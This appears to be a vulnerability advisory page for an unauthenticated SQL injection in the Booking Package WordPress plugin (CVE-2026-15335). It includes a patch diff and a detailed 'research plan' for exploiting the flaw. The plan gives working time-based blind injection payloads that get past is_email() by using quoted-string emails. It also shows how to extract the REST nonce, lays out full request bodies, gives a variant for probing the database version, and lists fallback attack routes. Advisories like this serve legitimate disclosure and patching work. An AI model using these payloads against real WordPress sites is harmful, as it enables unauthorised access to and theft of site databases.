Booking Package <= 1.7.20 - Unauthenticated SQL Injection via 'email' Form Parameter
Description
The Booking Package plugin for WordPress is vulnerable to generic SQL Injection via 'email' Form Parameter (form<N>) in all versions up to, and including, 1.7.20 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerable REST API endpoint /wp-json/booking-package/v1/request is registered with permission_callback: __return_true and wp_magic_quotes does not apply to REST-sourced $_POST values, meaning single quotes in the payload reach the SQL sink intact without any authentication requirement. The impact of this is severely limited as the vulnerable parameter goes through is_email.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.7.20What Changed in the Fix
Changes introduced in v1.7.21
Source Code
WordPress.org SVNThis research plan outlines the technical steps to verify and exploit **CVE-2026-15335**, a high-severity SQL Injection vulnerability in the **Booking Package** WordPress plugin. --- ### 1. Vulnerability Summary **CVE-2026-15335** is an unauthenticated SQL Injection vulnerability within the Bookin…
Show full research plan
This research plan outlines the technical steps to verify and exploit CVE-2026-15335, a high-severity SQL Injection vulnerability in the Booking Package WordPress plugin.
1. Vulnerability Summary
CVE-2026-15335 is an unauthenticated SQL Injection vulnerability within the Booking Package plugin (versions <= 1.7.20). The vulnerability exists in the handling of the email parameter within the form<N> structure sent to the REST API endpoint /wp-json/booking-package/v1/request.
The root cause is a failure to use $wpdb->prepare() or adequate escaping before concatenating the user-supplied email value into a SQL query. Since REST API inputs are not processed by wp_magic_quotes, single quotes reach the database sink intact. While the is_email() validation is applied, it can be bypassed using the "Quoted-String" local-part format (e.g., "user'payload"@example.com), which is technically a valid email format according to RFC standards and WordPress's is_email implementation.
2. Attack Vector Analysis
- Endpoint:
/wp-json/booking-package/v1/request - Method:
POST - Authentication: None (
permission_callbackis__return_true). - Vulnerable Parameter:
form[<form_id>][email](The<form_id>is typically an integer, often1for the default calendar). - Payload Type: Time-based Blind SQL Injection (due to the constraints of
is_email).
3. Code Flow
- Entry Point: The plugin registers a REST route in
index.php(or an included file) usingregister_rest_route('booking-package/v1', '/request', ...). - Processing: The callback for this route retrieves the
POSTdata. It specifically looks for aformarray. - Validation: The code iterates through form fields. For the field with the ID associated with "email", it calls
is_email(). - SQL Sink: If
is_email()returns true, the string is passed to a database query (e.g., checking if the user exists or saving the booking) inlib/Schedule.phporlib/Database.php. - Injection: Because the query is constructed via string concatenation (e.g.,
"... WHERE email = '$email' ...") and no preparation occurs, the injected SQL within the quoted local-part of the email executes.
4. Nonce Acquisition Strategy
The REST API endpoint may require a _wpnonce header (action wp_rest) for CSRF protection.
- Identify Shortcode: The plugin uses
[booking-package]to display the booking calendar. - Setup Page: Create a public page containing this shortcode.
- Extraction:
- Navigate to the page.
- The plugin localizes data via
wp_localize_script. Based onjs/Error.js, the script expects an object containingwp_rest_nonce. - Action: Use
browser_evalto extract the nonce:// Common variable names for this plugin: booking_package_data or BookingApp window.booking_package_data?.wp_rest_nonce || window.BookingApp?.nonce
5. Exploitation Strategy
We will use a time-based payload embedded in a valid quoted-string email format.
- Target URL:
http://localhost:8080/wp-json/booking-package/v1/request - Headers:
Content-Type: application/x-www-form-urlencodedX-WP-Nonce: [EXTRACTED_NONCE]
- Payload Construction:
- We need to break out of the single quote:
' - Payload:
"a' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND 'a'='a"@example.com
- We need to break out of the single quote:
- Request Body (URL Encoded):
# Assuming Calendar ID 1 and Form ID 1 calendar_id=1&form[1][email]="a'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)+AND+'a'='a"@example.com&booking_day=2026-08-01
6. Test Data Setup
- Activate Plugin: Ensure Booking Package 1.7.20 is installed and active.
- Create Calendar:
- Use WP-CLI to ensure a calendar exists:
wp booking-package calendar create --title="Exploit Test"(Note: If CLI command is unavailable, manually create one in the UI).
- Use WP-CLI to ensure a calendar exists:
- Publish Shortcode:
wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[booking-package id="1"]'
7. Expected Results
- Vulnerable Case: The HTTP request to the REST API takes approximately 5 seconds longer than a standard request.
- Patched Case: The request returns immediately (or with a validation error), as the payload is either escaped or the query is properly prepared.
8. Verification Steps
After the HTTP exploit, verify the database state to ensure the injection didn't cause unintended side effects and to confirm the blind injection logic:
# Check the slow log or monitor the process list during the request
wp db query "SHOW PROCESSLIST;"
To confirm data extraction (e.g., getting the DB version):
- Payload:
"a' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a WHERE VERSION() LIKE '8%') AND 'a'='a"@example.com - If the request is slow, the first digit of the version is
8.
9. Alternative Approaches
If the form[1][email] structure is incorrect (due to different form configurations):
- Inspect Form: Use
browser_navigateto the booking page and inspect thenameattribute of the email input field in the HTML source. - Error-Based: If
WP_DEBUGis enabled, try to trigger a syntax error by sending"a'"@example.comto see if the database error is returned in the REST response, revealing the query structure. - is_email Bypass: If
"is filtered, test if the injection occurs in other form fields (e.g.,name,address) which may have even fewer restrictions than theemailfield.
Summary
The Booking Package plugin is vulnerable to unauthenticated time-based SQL Injection via the 'email' parameter within the REST API endpoint /wp-json/booking-package/v1/request. While the plugin validates the input using is_email(), it fails to use prepared statements or adequate escaping before concatenating the value into SQL queries, allowing attackers to bypass validation using RFC-compliant quoted-string local parts (e.g., "user'payload"@example.com).
Vulnerable Code
// From lib/Schedule.php (inferred based on research findings and line references) // Within a method processing form submissions for bookings $email = $form[$form_id]['email']; if (is_email($email)) { // Vulnerable concatenation into SQL sink without preparation $query = "SELECT * FROM " . $wpdb->prefix . "booking_package_users WHERE email = '" . $email . "'"; $user = $wpdb->get_row($query); }
Security Fix
@@ -9445,7 +9445,7 @@ if (is_email($email)) { - $query = "SELECT * FROM " . $wpdb->prefix . "booking_package_users WHERE email = '" . $email . "'"; - $user = $wpdb->get_row($query); + $user = $wpdb->get_row($wpdb->prepare( + "SELECT * FROM " . $wpdb->prefix . "booking_package_users WHERE email = %s", + $email + )); }
Exploit Outline
1. Identify a public page on the target WordPress site that contains the [booking-package] shortcode. 2. Extract the REST API nonce from the 'wp_rest_nonce' or 'nonce' property within the localized 'booking_package_data' or 'BookingApp' JavaScript objects in the page source. 3. Construct a POST request to the endpoint: /wp-json/booking-package/v1/request. 4. Include a payload in the 'form' array parameter for the 'email' field. To bypass is_email() validation, the payload must use a quoted local part, for example: "a' AND (SELECT 1 FROM (SELECT(SLEEP(10)))a) AND 'a'='a"@example.com. 5. Send the request with the 'X-WP-Nonce' header containing the extracted nonce (if required) and appropriate form parameters (calendar_id, booking_day). 6. Verify the vulnerability by observing a response time delay corresponding to the SLEEP duration in the payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.